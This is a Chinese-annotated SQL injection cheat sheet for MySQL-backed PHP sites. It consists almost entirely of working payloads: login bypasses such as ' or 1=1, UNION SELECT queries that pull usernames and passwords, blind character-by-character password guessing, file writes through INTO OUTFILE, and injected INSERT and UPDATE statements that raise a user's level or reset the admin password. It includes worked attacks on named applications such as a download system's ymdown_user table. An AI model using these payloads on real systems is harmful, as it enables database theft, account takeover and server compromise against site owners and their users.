程序代碼
' or 1=1 ' or '1=1 '/* '%23 ' and password='mypass id=-1 union select 1,1,1 id=-1 union select char(97),char(97),char(97) id=1 union select 1,1,1 from members id=1 union select 1,1,1 from admin id=1 union select 1,1,1 from user userid=1 and password=mypass userid=1 and mid(password,3,1)=char(112) userid=1 and mid(password,4,1)=char(97) and ord(mid(password,3,1))>111 (ord函數很好用,能夠返回×××的) ' and LENGTH(password)='6(探測密碼長度) ' and LEFT(password,1)='m ' and LEFT(password,2)='my …………………………依次類推 ' union select 1,username,password from user/* ' union select 1,username,password from user/* =' union select 1,username,password from user/* (能夠是1或者=後直接跟) 99999' union select 1,username,password from user/* ' into outfile 'c:/file.txt (導出文件) =' or 1=1 into outfile 'c:/file.txt 1' union select 1,username,password from user into outfile 'c:/user.txt SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt' id=' union select 1,username,password from user into outfile id=-1 union select 1,database(),version() (靈活應用查詢) 經常使用查詢測試語句, SELECT * FROM table WHERE 1=1 SELECT * FROM table WHERE 'uuu'='uuu' SELECT * FROM table WHERE 1<>2 SELECT * FROM table WHERE 3>2 SELECT * FROM table WHERE 2<3 SELECT * FROM table WHERE 1 SELECT * FROM table WHERE 1+1 SELECT * FROM table WHERE 1--1 SELECT * FROM table WHERE ISNULL(NULL) SELECT * FROM table WHERE ISNULL(COT(0)) SELECT * FROM table WHERE 1 IS NOT NULL SELECT * FROM table WHERE NULL IS NULL SELECT * FROM table WHERE 2 BETWEEN 1 AND 3 SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c' SELECT * FROM table WHERE 2 IN (0,1,2) SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END 例如:夜貓下載系統1.0版本 id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替換,尋找密碼) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (驗證第一位密碼) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51 ………………………………………………………… 例如2:灰色軌跡 變換id進行測試(meteor) union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate 構造語句: SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1) SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,username,password from user where userid=1) UNION%20(SELECT%201,0,2,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid%20=%205)%20order%20by%20eventdate UNION%20(SELECT%201,0,12695,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid=13465)%20order%20by%20eventdate UNION%20(SELECT%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20WHERE%20username='sandflee')%20order%20by%20eventdate (查沙子的id) (SELECT a FROM table_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10) SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……(字段和數據庫相同狀況下,可直接提交) SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……(不一樣的狀況下) 特殊技巧:在表單,搜索引擎等地方寫: 「___」 「.__ 」 「% %' ORDER BY articleid/* %' ORDER BY articleid# __' ORDER BY articleid/* __' ORDER BY articleid# $command = "dir c:";system($command); SELECT * FROM article WHERE articleid='$id' SELECT * FROM article WHERE articleid=$id 1' and 1=2 union select * from user where userid=1/* 句中變爲 (SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*') 1 and 1=2 union select * from user where userid=1 語句形式:創建一個庫,插入: CREATE DATABASE `injection` CREATE TABLE `user` ( `userid` int(11) NOT NULL auto_increment, `username` varchar(20) NOT NULL default '', `password` varchar(20) NOT NULL default '', PRIMARY KEY (`userid`) ) ; INSERT INTO `user` VALUES (1, 'swap', 'mypass'); 插如一個註冊用戶: INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); 「INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')"; INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1') "INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'"; INSERT INTO membres SET login='',password='',nom='',userlevel='3',email='' "INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')"; UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id' UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' "UPDATE membres SET password='$pass',nom='$nom',email='$email' WHERE id='$id'"; UPDATE membres SET password='[PASS]',nom='',userlevel='3',email=' ' WHERE id='[ID]' "UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'"; 長用函數: DATABASE() USER() SYSTEM_USER() SESSION_USER() CURRENT_USER() 好比: UPDATE article SET title=$title WHERE articleid=1 對應函數 UPDATE article SET title=DATABASE() WHERE id=1 #把當前數據庫名更新到title字段 UPDATE article SET title=USER() WHERE id=1 #把當前 MySQL 用戶名更新到title字段 UPDATE article SET title=SYSTEM_USER() WHERE id=1 #把當前 MySQL 用戶名更新到title字段 UPDATE article SET title=SESSION_USER() WHERE id=1 #把當前 MySQL 用戶名更新到title字段 UPDATE article SET title=CURRENT_USER() WHERE id=1 #把當前會話被驗證匹配的用戶名更新到title字段 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: $req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name"; SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a' (經典) SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password='' SELECT * FROM table WHERE msg LIKE '%hop' SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password='' SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name